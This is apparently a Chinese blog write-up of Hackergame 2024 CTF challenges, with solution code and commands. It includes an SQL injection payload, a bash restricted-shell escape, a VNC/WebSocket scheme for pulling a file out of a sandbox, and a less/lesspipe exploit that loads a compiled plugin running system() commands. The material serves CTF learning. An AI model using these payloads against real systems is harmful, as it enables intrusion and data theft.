目录

  1. 1. 前言
  2. 2. web-签到
  3. 3. web-喜欢做签到的 CTFer 你们好呀
  4. 4. general-打不开的盒
  5. 5. general-每日论文太多了!
  6. 6. web-PaoluGPT
    1. 6.1. 千里挑一
    2. 6.2. 窥视未知(复现)
  7. 7. General-PowerfulShell(复现)
  8. 8. general-无法获得的秘密(Unsolved)
  9. 9. LESS 文件查看器在线版(Unsolved)

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

Hackergame 2024

2024/11/4 CTF线上赛
  |     |   总文章阅读量:

前言

太忙了,没时间打

题目很有启发性,明年还会来(

官方wp:https://github.com/USTC-Hackergame/hackergame2024-writeups


web-签到

发现pass参数,改为true即可得到flag


web-喜欢做签到的 CTFer 你们好呀

nebula的主页:https://www.nebuu.la/

是一个终端,测一测命令得到flag

image-20241106113706041

image-20241106113513105

Checkin Again:flag{actually_theres_another_flag_here_trY_to_f1nD_1t_y0urself___join_us_ustc_nebula}

Checkin Again & Again:flag{0k_175_a_h1dd3n_s3c3rt_f14g___please_join_us_ustc_nebula_anD_two_maJor_requirements_aRe_shown_somewhere_else}


general-打不开的盒

下载到一个 3d 模型的 stl 文件,还好之前金工实习的 chitubox 还没删(

image-20241106115157936

flag{Dr4W_Us!nG_fR3E_C4D!!w0W}


general-每日论文太多了!

下载pdf,用wps打开,ctrl+f搜flag

发现 flag here 下面有个图片

image-20241106120146120

flag{h4PpY_hAck1ng_3veRyd4y}


web-PaoluGPT

千里挑一

脚本提取页面的href并批量访问

import requests
from bs4 import BeautifulSoup

# 设置要查找的 flag
flag = "flag{"

# 发送HTTP请求并获取页面内容
url = 'https://chal01-dbsra3rg.hack-challenge.lug.ustc.edu.cn:8443/list'  # 替换为您要抓取链接的网页
cookie = {
    "session": ""
}

response = requests.get(url, cookies=cookie)
html_content = response.text

# 使用BeautifulSoup解析页面内容
soup = BeautifulSoup(html_content, 'html.parser')

# 查找所有的<a>标签
links = soup.find_all('a')

# 检查页面内容是否包含 flag
def check_for_flag(content, flag):
    if flag in content:
        return True
    return False

# 提取每个链接的href属性,并检查是否包含 flag
for link in links:
    href = link.get('href')
    if href:
        link_url = "https://chal01-dbsra3rg.hack-challenge.lug.ustc.edu.cn:8443" + href  # 构建完整链接
        link_response = requests.get(link_url, cookies=cookie)
        link_content = link_response.text
        if check_for_flag(link_content, flag):
            print(f"Flag found at: {link_url}")

image-20241104113831235

窥视未知(复现)

附件,何时来的,是了,我没看到(

database.py

import sqlite3

def execute_query(s: str, fetch_all: bool = False):
    conn = sqlite3.connect("file:/tmp/data.db?mode=ro", uri=True)
    cur = conn.cursor()
    res = cur.execute(s)
    if fetch_all:
        return res.fetchall()
    else:
        return res.fetchone()

是 Sqlite 数据库

@app.route("/view")
def view():
    conversation_id = request.args.get("conversation_id")
    results = execute_query(f"select title, contents from messages where id = '{conversation_id}'")
    return render_template("view.html", message=Message(None, results[0], results[1]))

然后这一眼存在注入

注意到

@app.route("/list")
def list():
    results = execute_query("select id, title from messages where shown = true", fetch_all=True)
    messages = [Message(m[0], m[1], None) for m in results]
    return render_template("list.html", messages=messages)

说明 list 会把所有 shown=true 的都列出来,结合题目名那么 shown=false 的就是我们的目标了

于是构造sql注入语句

' or shown = false --

就能找到 flag{enJ0y_y0uR_Sq1_&_1_would_xiaZHOU_hUI_guo_c80c91f76e}

image-20241113225937523


General-PowerfulShell(复现)

#!/bin/bash

FORBIDDEN_CHARS="'\";,.%^*?!@#%^&()><\/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0"

PowerfulShell() {
    while true; do
        echo -n 'PowerfulShell@hackergame> '
        if ! read input; then
            echo "EOF detected, exiting..."
            break
        fi
        if [[ $input =~ [$FORBIDDEN_CHARS] ]]; then
            echo "Not Powerful Enough :)"
            exit
        else
            eval $input
        fi
    done
}

PowerfulShell

看看我们能用什么字符:反引号,~$-_+=[{}]\|:,和除了0以外的所有数字

首先是$_,执行上一次命令,这里返回了input

${}引用变量

$-返回了hB,那么可以用${-: -2:1}截取到字母 h 和 B,同理也可以获取 input 这五个字母

____=$_
___=${____: -5:1}${____:2:1}
$___ -${-: -2:1}
# ip

$[]返回了0,那有了啊,$0在这里是 /players/PowerfulShell.sh,但是我们不能直接$$__这样,会顺序执行。。

__=$[]

那咋办,正则匹配吧,从 i 到 B,但是正则只能在bash脚本里面这么写

____=$_
[${____: -5:1}-${-:1:1}]{3}

还有直接运算的写法可以得到0

$[1-1]

我们知道 ~ 对应家目录,这里输入~,对应的目录是/players

那么结合前面的hB我们就能拼出 sh 了

_1=~
_2=$-
${_1:7:1}${_2: -2:1}

image-20241113223755128


general-无法获得的秘密(Unsolved)

发现vnc这里有个剪贴板

image-20241106200516940

用途在这里:https://vlab.ustc.edu.cn/docs/login/browser/

尝试把剪贴板功能重新激活,

image-20241106201841588

但是这个选项无法保存,因为vnc是用root起的且指定了参数

那么另一种思路就是把文件编码之后截图下来识别字母,但是文件有点大,这么做感觉不现实


(不是特别懂,但是先存着,以后说不定能派上用场!)

wp给出的思路是将文件编码成图片,然后截图解码下来,只要保证这个过程图片无损就可以搞定

可以使用 canvas 和 js 来实现一个简单的灰度编码算法

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <script type="text/javascript" src="index.js"></script>
</head>
<body style="margin: 0;">
<div>
    <input type="file" id="file-input">
    <button id="btn-run">run</button>
</div>
<div>
    <canvas width="1024px" height="512px" id="canvas-data"></canvas>
</div>
</body>
</html>
const width = 1024;
const height = 512;
document.addEventListener("DOMContentLoaded", (e) => {
    const fileInput = document.getElementById("file-input");
    const btnRun = document.getElementById("btn-run");
    btnRun.addEventListener("click", (e) => {
        if (fileInput.files.length === 0) {
            console.log("No file selected");
            return;
        }

        const reader = new FileReader();
        reader.onload = () => {
            const buffer = reader.result;
            const canvas = document.getElementById("canvas-data");
            const ctx = canvas.getContext("2d")
            const imageData = ctx.getImageData(0, 0, width, height);
            const data = imageData.data;
            const fileData = new Uint8Array(buffer);
            for (let i = 0; i < fileData.length; ++i) {
                const dataOffset = i * 4;
                data[dataOffset] = fileData[i];
                data[dataOffset + 1] = fileData[i];
                data[dataOffset + 2] = fileData[i];
                data[dataOffset + 3] = 255;
            }
            ctx.putImageData(imageData, 0, 0);
        }

        reader.readAsArrayBuffer(fileInput.files[0]);
    })
})

截图下来,解码:

from PIL import Image
import numpy as np

if __name__ == "__main__":
    IMG_PATH = ""
    img = Image.open(IMG_PATH)
    img.load()
    data = np.asarray(img, dtype=np.uint8)[:, :, 0]
    data = data.flatten()
    with open(IMG_PATH.replace(".png", ".bin"), "wb") as f:
        f.write(data)

但是 noVNC 使用有损编码传输图像,而上面的编码算法没有任何冗余,很容易就出现某个字节差 1 的情况

注意到题目使用 WebSocket 来传输数据,可以把 WebSocket 转为 TCP:

import asyncio
import websockets

COOKIE=open("cookie").read().strip()
SERVER_IP = ""

async def handler(reader: asyncio.StreamReader, writer: asyncio.StreamWriter):
    async with websockets.connect(f"ws://{SERVER_IP}:12010/connect", extra_headers=[("Cookie", COOKIE)]) as ws_conn:
        async def client_to_server():
            try:
                while True:
                    data = await reader.read(4096)
                    if not data:
                        break
                    await ws_conn.send(data)
            except websockets.exceptions.ConnectionClosed:
                return
            except asyncio.CancelledError:
                return
            finally:
                await ws_conn.close()

        async def server_to_client():
            try:
                while True:
                    data = await ws_conn.recv()
                    if not data:
                        break
                    writer.write(data)
                    await writer.drain()
            except websockets.exceptions.ConnectionClosed:
                return
            except asyncio.CancelledError:
                return
            finally:
                writer.close()

        await asyncio.gather(client_to_server(), server_to_client())

async def main():
    server = await asyncio.start_server(handler, "127.0.0.1", 12010)
    await server.serve_forever()


if __name__ == "__main__":
    asyncio.run(main())

这样就可以在本机使用其他 VNC 客户端来连接题目环境,从而将图像传输调整为无损编码,即可执行上述方案。解码得到文件后可以 sha256sum 一下确认与题目环境提供的一致,上传该文件到题目网页即可得到 flag


LESS 文件查看器在线版(Unsolved)

涉及到了 less 命令的底层,与 lesspipe 有关

参考:

https://seclists.org/oss-sec/2014/q4/1027

https://seclists.org/fulldisclosure/2014/Nov/74

在与题目同样的 Dockerfile 的环境下执行下列命令生成文件

printf '#include <stdlib.h>\nvoid onload(void *v) { system("ls / -alh"); }' | \
  gcc -fPIC -shared -o plugin.so -xc -
ar rc ./@.a /dev/null
echo '-s --plugin ./plugin.so ./@.a' > .a

然后把生成的 plugin.so.a@.a 三个文件依次上传,于是就可以列出根目录,然后修改上面的命令重新上传一遍就行